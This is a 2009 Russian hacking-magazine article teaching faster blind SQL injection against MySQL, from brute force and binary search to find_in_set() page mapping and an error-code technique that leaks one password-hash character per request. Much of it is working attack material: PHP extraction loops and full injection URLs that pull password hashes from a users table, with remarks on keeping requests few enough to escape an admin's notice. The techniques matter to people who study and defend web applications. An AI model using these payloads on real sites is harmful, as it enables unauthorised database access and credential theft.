Издательский дом ООО "Гейм Лэнд"ЖУРНАЛ ХАКЕР #127, ИЮЛЬ 2009 г.

Слепая быстрота. Новейшие методы Blind SQL Injection

Qwazar (hronous@mail.ru)


Каждый раз, натыкаясь на слепую SQL-инъекцию, ты представляешь себе долгие минуты ожидания получения результатов из базы. Все знают, что процесс работы ускорить невозможно. Да неужели? Прочитав эту статью, ты заставишь свои инъекции отрабатывать по максимуму и станешь реальным SQL-гуру.

Основной проблемой при работе с Blind SQL Injection является огромное количество запросов, которое необходимо послать на сервер для получения символов из БД.

А соответственно - долгое время работы скрипта и большое количество записей в логах. Вручную получать данные из БД практически нереально, поэтому процесс работы с такими инъекциями нужно автоматизировать. Сейчас мы рассмотрим некоторые варианты подобной автоматизации.

Полный перебор

Это самый простой, самый тупой и самый медленный способ получения символов из базы данных. Для получения обычного MD5-хеша может потребоваться отправить до 512 запросов на сервер, а для получения логина - еще больше. Именно этот метод новички применяют в своих первых эксплойтах. Реализация указанного способа выглядит приблизительно так:

for($i=1;$i<=32;$i++)
for($j=1;$j<=255;$j++){
$res = send(
$url,
"sql.php?id=if(ascii(substring((select+passhash+from+users+where+id=0),$i,1))=$j,(select+1+union+select+2),'1')"
);
if(!preg_match('/Subquery returns/', $res) {
echo $j;
continue;
}
}

Принцип работы прост - для каждого символа сравниваем значение его ASCII-кода со всеми возможными значениями символов. Если выполняется некоторое условие, то символ найден, и его можно выводить на экран. Если условие не выполняется - ищем дальше.

Очевидно, что плюсов у этого метода нет. Совсем. За исключением того, что накалякать код такого скрипта очень просто. Но разве это то, что нужно настоящему хакеру? Оставим этот способ киддисам и будем двигаться дальше.

Бинарный (двоичный) поиск

Каждый уважающий себя программист знает о методе под названием бинарный, или двоичный, поиск. Этот метод используется для поиска позиции элемента в отсортированном массиве. И именно он применяется почти во всех адекватных скриптах, программах и эксплойтах, работающих со слепыми SQL-инъекциями. Алгоритм работает следующим образом:

  1. Берем диапазон всех возможных символов (для хеша MD5 - [0-9,a-f]) и сравниваем значение кода символа в БД с кодом символа, который мы передали в запросе
  2. Если код символа в БД больше, чем код переданного символа, то на следующем шаге в качестве диапазона возможных символов берем диапазон от символа, с которым мы только что сравнивали значение в БД, до правой границы предыдущего диапазона и идем на шаг 1
  3. Если код символа меньше, то берем диапазон от текущего символа до левой границы диапазона на предыдущем шаге и идем на шаг 1
  4. Если символ не больше и не меньше, то мы как раз его и нашли

А если рассматривать реализацию на языке программирования, то вот пример функции, реализующей поиск нужного символа этим методом:

function getChar($url, $field, $pos, $lb=0, $ub=255) {
while(true) {
$M = floor($lb + ($ub-$lb)/2);
if(cond($url, $field, '<', $pos, $M)==1) {
$ub = $M - 1;
}
else if(cond($url, $field, '>', $pos, $M)==1) {
$lb = $M + 1;
}
else
return chr($M);

if($lb > $ub)
return -1;
}
}

Рассмотрим этот способ на примере получения из базы MD5-хеша юзера. При этом учтем следующие условия:

  1. Диапазон возможных символов: 0,1,2,3,4,5,6,7,8,9,a,b,c,d,e,f.
  2. В БД находится символ: 'b'.

Запускаем алгоритм:

  1. Находим середину диапазона [0,1,2,3,4,5,6,7,8,9,a,b,c,d,e,f]; серединой является символ '8'
  2. Сравниваем, – код символа 'b' больше или меньше, чем код символа '8'? (шлем запрос)
  3. Код больше, поэтому на следующую итерацию уже берем диапазон [8,9,a,b,c,d,e,f]; серединой является символ 'с'
  4. Сравниваем, – код символа 'b' больше или меньше, чем код символа 'с'? (шлем запрос)
  5. Код меньше, поэтому на следующую итерацию берем диапазон [8,9,a,b,c]; серединой является символ 'a'
  6. Сравниваем, – код символа 'b' больше, чем код символа 'a'? (шлем запрос)
  7. Код больше, поэтому на следующую итерацию берем диапазон [a,b,c]; серединой является символ 'b'
  8. Сравниваем, – код символа 'b' больше или меньше, чем код символа 'b'? (шлем запрос)
  9. Код ни больше и не меньше, значит, символ в БД = 'b'

Таким образом, в зависимости от конкретной реализации алгоритма, мы отправляем до 5-6 запросов на определение символа. И это в худшем случае, так как символ
может найтись и раньше. Итого получаем примерно 160-170 запросов на получение MD5-хеша. Уже лучше, но зачем останавливаться на достигнутом, если можно действовать еще быстрее?

Использование find_in_set() и подобных функций

Функция find_in_set(str,strlist) используется для поиска подстроки среди списка строк, разделенных символом ',' и возвращает номер той строки из списка, которая равна переданному аргументу. То есть:

mysql> SELECT FIND_IN_SET('b','a,b,c,d');
-> 2

Код символа из базы данных можно узнать при помощи запроса:

XXXXXXXXXX
НА ПЛАШКУ
XXXXXXXXXX
select find_in_set((substring((select password from users limit 1),1,1)),'0,1,2,3,4,5,6,7,8,9,a,b,c,d,e,f');
XXXXXXXXXX

В результате мы получаем номер символа во множестве '0,1,2,3,4,5,6,7,8,9,a,b,c,d,e,f'. К примеру, для символа 'b', этот запрос вернет 12. А теперь подумаем, что же можно из этого выжать? Для того чтобы принять результаты запроса, мы должны как-то научиться принимать числа, являющиеся результатом. Но непосредственно при слепой SQL-инъекции мы этого сделать не можем. А что, если мы имеем дело с инъекцией, к примеру, в скрипте отображения новостей, и в зависимости от id, переданного скрипту, будем видеть разные странички? Тогда боевой запрос, нужный для получения символов из MD5, будет выглядеть вот так:

news.php?id=find_in_set(substring((select passhash from users limit 0,1),1,1),'0,1,2,3,4,5,6,7,8,9,a,b,c,d,e,f')

Тогда, в зависимости от номера символа в строке '0,1,2,3,4,5,6,7,8,9,a,b,c,d,e,f', мы будем видеть новость с id, соответствующим символу пароля. Для удобства использования на практике нужно:

  1. Выделить ключевые слова на страницах с нужными id
  2. Отправить запросы с find_in_set для каждого символа из БД
  3. Выяснить, страницу с каким id мы получили и вывести на экран код символа

То есть, для получения MD5-хеша, нам потребуется выявить 16 страниц с уникальными id, по одной странице для каждого символа алфавита, а также отправить 32 запроса для определения значения каждого символа. В итоге, при использовании этого метода нам потребуется отправить всего 48 запросов на сервер, 16 из которых никакого подозрения читающего логи админа вызвать не могут.

Изначально этот метод предложили +toxa+ и madnet. Они же заметили, что помимо функции find_in_set для реализации подобной атаки можно использовать функции
LOCATE(),INSTR(),ASCII(),ORD(). Причем, ASCII() и ORD() даже предпочтительнее за счет того, что они присутствуют не только в MySQL.

Способ работает быстро, но обладает рядом недостатков. К примеру, на сайте идентификаторы новостей могут быть распределены неравномерно, то есть скрипт приходится затачивать под каждый сайт индивидуально. Еще одной проблемой является то, что для большого количества символов в алфавите нужно большое количество уникальных страниц, которые не всегда присутствуют. В общем, мотаем на ус и двигаемся дальше.

Использование find_in_set() + more1row

Если хорошенько поиграться с методом, предложенным выше, можно заметить, что все его минусы сводятся к тому, что далеко не на всех сайтах возможно получить достаточное количество различных страниц, зависящих от одного параметра.

Решим эту проблему. Вспомним метод, предложенный Elekt'ом в ][ #111, который основан на использовании ошибки «Subquery returns more than 1 row». Суть метода заключается в том, чтобы заставить скрипт выводить ошибку SQL в зависимости от результата SQL-запроса.

На данный момент, чтобы спровоцировать БД на вывод ошибки, наиболее часто используется запрос:

SELECT 1 UNION SELECT 2

– который вернет ошибку:

#1242 - Subquery returns more than 1 row

Также ZaCo нашел альтернативный вариант запроса, который провоцирует БД на вывод ошибки в зависимости от условия:

"x" regexp concat("x{1,25", if(@@version<>5, "5}", "6}")

В том случае, если версия MySql не равна 5, этот запрос вернет ошибку:

#1139 - Got error 'invalid repetition count(s)' from regexp.

Немного порывшись в исходниках MySql и погуглив, можно найти еще 9 ошибок, которые возвращает неправильный regexp. Итого, от сервера мы можем получить 11 видов ошибок + 1 состояние, когда ошибки нет:

SELECT 1
No error

select if(1=1,(select 1 union select 2),2)
#1242 - Subquery returns more than 1 row

select 1 regexp if(1=1,"x{1,0}",2)
#1139 - Got error 'invalid repetition count(s)' from regexp

select 1 regexp if(1=1,"x{1,(",2)
#1139 - Got error 'braces not balanced' from regexp

select 1 regexp if(1=1,'[[:]]',2)
#1139 - Got error 'invalid character class' from regexp

select 1 regexp if(1=1,'[[',2)
#1139 - Got error 'brackets ([ ]) not balanced' from regexp

select 1 regexp if(1=1,'(({1}',2)
#1139 - Got error 'repetition-operator operand invalid' from regexp

select 1 regexp if(1=1,'',2)
#1139 - Got error 'empty (sub)expression' from regexp

select 1 regexp if(1=1,'(',2)
#1139 - Got error 'parentheses not balanced' from regexp

select 1 regexp if(1=1,'[2-1]',2)
#1139 - Got error 'invalid character range' from regexp

select 1 regexp if(1=1,'[[.ch.]]',2)
#1139 - Got error 'invalid collating element' from regexp

select 1 regexp if(1=1,'\\',2)
#1139 - Got error 'trailing backslash (\)' from regexp

Пока просто примем это во внимание. Теперь самое время вспомнить о функции find_in_set. Если искомый символ есть во множестве подстрок, она вернет номер подстроки, если нет - вернет 0.

Попробуем привязать результат работы этой функции к различным кодам ошибок и передадим вот такой запрос:

select * from users where id=-1
AND "x" regexp
concat("x{1,25",
if(
find_in_set(
substring((select passwd from users where id=1),1,1),
'a,b,c,d,e,f,1,2,3,4,5,6'
)>0,
(select 1 union select 2),
"6}"
)
)

В результате, если первый символ пароля находится во множестве 'a,b,c,d,e,f,1,2,3,4,5,6', то запрос вернет:

#1242 - Subquery returns more than 1 row

А если не находится, то:

#1139 - Got error 'invalid repetition count(s)' from regexp

При каждом запросе по коду ошибки мы можем узнать, к какой группе принадлежит символ!

Напишем скрипт, использующий данный метод. Для составления оптимального запроса нужно сгруппировать символы алфавита так, чтобы количество обращений к серверу было минимальным.

Рассмотрим задачу на примере MD5. Мы знаем, что у нас могут присутствовать только символы из диапазона [0-9,a-f]. Также мы знаем, что количество групп символов равно двенадцати, ведь всего наш запрос может вернуть одиннадцать видов ошибок и одно состояние, когда ошибки нет. Для случая с MD5 оптимальной расстановкой символов по состояниям, к примеру, будет:

[01]: '0','b','c','d','e','f'
[02]: '1'
[03]: '2'
[04]: '3'
[05]: '4'
[06]: '5'
[07]: '6'
[08]: '7'
[09]: '8'
[10]: '9'
[11]: 'a'

При каждом запросе к серверу мы узнаем номер группы, в которой находится символ, хранящийся в БД. В итоге, если символ находится в группах 02-11, – мы узнаем значение этого символа с помощью всего одного запроса. Если нам не повезло и символ находится в группе 01, то перед отправкой следующего запроса, рассортируем символы из этой группы по состояниям и сразу же узнаем значение интересующего нас символа:

[01]: '0'
[02]: 'b'
[03]: 'c'
[04]: 'd'
[05]: 'e'
[06]: 'f'

Итоговый алгоритм работы по этому методу выглядит несложно:

  1. Оптимально распределить символы алфавита по группам
  2. Установить соответствия между номером группы и возвращаемым кодом ошибки
  3. По возвращенному коду ошибки выяснить, в какой группе находится символ из БД
  4. Если в этой группе только один символ, то выводим его на экран; если больше, чем один символ, то распределим символы из группы по состояниям и возвращаемся к шагу 2

В соответствии с алгоритмом составляем запрос. И замечаем, что ошибки, которые мы собираемся использовать, обладают парой особенностей. Первая заключается в том, что запрос:

"x" regexp concat("x{1,25", if(@@version<>5, "5}", "6}")

вернет нужную нам ошибку, только если мы его будем передавать на сервер именно в таком виде. То есть, все вложенные условия нужно добавлять внутрь этого if, а также в начале всех остальных выражений regexp нужно добавлять символ «}». Иначе, независимо от содержания остальных подзапросов, мы будем получать лишь ошибку: «#1139 - Got error 'repetition-operator operand invalid' from regexp». Вторая особенность заключается в том, что запрос:

select 1 regexp if(1=1,'',2) ,

возвращающий ошибку «Got error 'empty (sub)expression' from regexp», работает, как хочется нам только при наличии пустого подзапроса в regexp или так: 'a|', когда после символа '|' отсутствует что бы то ни было. Поэтому, с учетом первой особенности, будем использовать именно этот вид подзапроса. Теперь попробуем собрать всю известную нам информацию вместе, и для выуживания MD5-хеша получаем итоговый запрос:

sql.php?id=1+AND+"x"+
regexp+concat("x{1,25",+(if(find_in_set(substring((select+pass+from+users+limit+0,1),1,1),'0,c,d,e,f,1,2,3,4,5,6,7,8,9,a'),
(if(find_in_set(substring((select+pass+from+users+limit+0,1),1,1),'0,c,d,e,f,1,2,3,4,5,6,7,8,9'),
(if(find_in_set(substring((select+pass+from+users+limit+0,1),1,1),'0,c,d,e,f,1,2,3,4,5,6,7,8'),
(if(find_in_set(substring((select+pass+from+users+limit+0,1),1,1),'0,c,d,e,f,1,2,3,4,5,6,7'),
(if(find_in_set(substring((select+pass+from+users+limit+0,1),1,1),'0,c,d,e,f,1,2,3,4,5,6'),
(if(find_in_set(substring((select+pass+from+users+limit+0,1),1,1),'0,c,d,e,f,1,2,3,4,5'),
(if(find_in_set(substring((select+pass+from+users+limit+0,1),1,1),'0,c,d,e,f,1,2,3,4'),
(if(find_in_set(substring((select+pass+from+users+limit+0,1),1,1),'0,c,d,e,f,1,2,3'),
(if(find_in_set(substring((select+pass+from+users+limit+0,1),1,1),'0,c,d,e,f,1,2'),
(if(find_in_set(substring((select+pass+from+users+limit+0,1),1,1),'0,c,d,e,f,1'),
(if(find_in_set(substring((select+pass+from+users+limit+0,1),1,1),'0,c,d,e,f'),
('}'),
(select+1+union+select+2))),
'}x{1,0}')),
'}x{1,(')),
'}[[:]]')),
'}[[')),
'}(({1}')),
'}|')),
'}(')),
'}[2-1]')),
'}[[.ch.]]')),
'}\\')))
+--+1

В результате, этот запрос не вернет ошибки, если символ из базы данных является одним из символов '0,c,d,e,f', а вернет ошибку «Subquery returns more than 1 row», если в базе данных лежит цифра 1. Также запрос вернет ошибку 'invalid repetition count(s)', если в базе лежит символ '2'. И так далее.

Итак, мы добились того, чего хотели - запрос при помощи 11 различных видов ошибок сообщает нам, какой именно символ лежит в базе данных. Мы получаем быстродействие, превышающее скорость работы всех остальных методов работы с Blind SQL Injection. Для выуживания MD5-хеша нам потребуется около 42 запросов, а это уже на порядок быстрее, чем в тех методах, которые используют сейчас. Мало того, если найти еще 4 запроса, при которых ошибка будет возникать во время выполнения, то на получение всего хеша нам потребуется уже 32 запроса. А это значит – 1 запрос на 1 символ. Раньше о подобном можно было только мечтать.

Понятно, что подобные SQL-обращения крайне тяжело составлять вручную, поэтому на диске ты найдешь скрипт, который умеет составлять запросы для алфавитов любой длины и при любом количестве известных ошибок.

Outro

На самом деле, существуют еще возможности ускорить процесс работы со слепыми SQL-инъекциями. Осталось только их найти. Главное, не зацикливаться на «дедовских» методах. Относиться ко всему, что придумали хакеры предыдущих поколений, надо, как к деталям мозаики, сложив которые воедино, можно выйти на совершенно новый уровень
развития технологий взлома.

WARNING

Внимание! Информация представлена исключительно с целью ознакомления! Ни автор, ни редакция за твои действия ответственности не несут!

WWW

INFO

Большим преимуществом последнего из перечисленных методов является то, что он с тем же успехом может работать и в INSERT, и в UPDATE запросах.

DVD

На диске ты сможешь найти скрипты для работы с SQL-инъекциями с использованием описанных в статье методов.

Содержание